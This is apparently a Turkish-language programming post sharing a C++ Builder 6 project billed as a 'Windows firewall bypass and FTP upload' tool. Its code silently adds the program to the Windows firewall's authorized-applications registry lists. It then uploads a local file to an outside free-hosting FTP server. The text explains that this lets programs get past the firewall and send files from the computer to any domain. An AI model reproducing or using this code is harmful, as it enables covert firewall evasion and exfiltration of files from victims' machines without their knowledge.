Windows Güvenlik Duvarı Bypass ve FTP Upload

AÇIKLAMA

Bu program C++ Builder 6 projesidir. Bu program sayesinde programlarınız windowsun güvenlik duvarına takılmadan dışarıya (internete) açılabilirsiniz. Ayrıca içindeki bir başka kod yardımıyla bilgisayar içindeki dosyaları ftp protokolünü kullanarak herhangi bir domain'e gönderebilirsiniz.Programda kullanılan domain free olup ftp desteği sağlamaktadır. Upload kodunda dikkat edilmesi gereken nokta uzak bilgisayardaki klasör yapısına göre kodu ayarlamak olacaktır.

Programın tam olarak çalışabilmesi için exe dosyasının bulunduğu klasörün belirtilen yolda olması gerekir.

Programın Tamamını Aşağıdaki Linkten İndirebilirsiniz

Program Kodu:

//---------------------------------------------------------------------------
 
#include <vcl.h>
#pragma hdrstop
 
#include "Unit1.h"
#include "Registry.hpp"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
        : TForm(Owner)
{
}
//---------------------------------------------------------------------------
 
void __fastcall TForm1::Button1Click(TObject *Sender)
{
TRegistry *Reg= new TRegistry;
Reg->RootKey=HKEY_LOCAL_MACHINE;
String yol="SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List";
if(Reg->OpenKey(yol,true))
{
 Reg->WriteString("C:\\Program Files\\Borland\\CBuilder6\\Projects\\Windows Duvar İptal+Upload\\Project1.exe","C:\\Program Files\\Borland\\CBuilder6\\Projects\\Windows Duvar İptal+Upload\\Project1.exe:*:Enabled:Project1");
 Reg->CloseKey();
}
Reg->RootKey=HKEY_LOCAL_MACHINE;
yol="SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\AuthorizedApplications\\List";
if(Reg->OpenKey(yol,true))
{
  Reg->WriteString("C:\\Program Files\\Borland\\CBuilder6\\Projects\\Windows Duvar İptal+Upload\\Project1.exe","C:\\Program Files\\Borland\\CBuilder6\\Projects\\Windows Duvar İptal+Upload\\Project1.exe:*:Enabled:Project1");
 Reg->CloseKey();
}
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
NMFTP1->Connect();
NMFTP1->Upload("gonderiyorum.txt","//programhazir.freehostia.com//bilgi.txt");
NMFTP1->Disconnect();
}
//---------------------------------------------------------------------------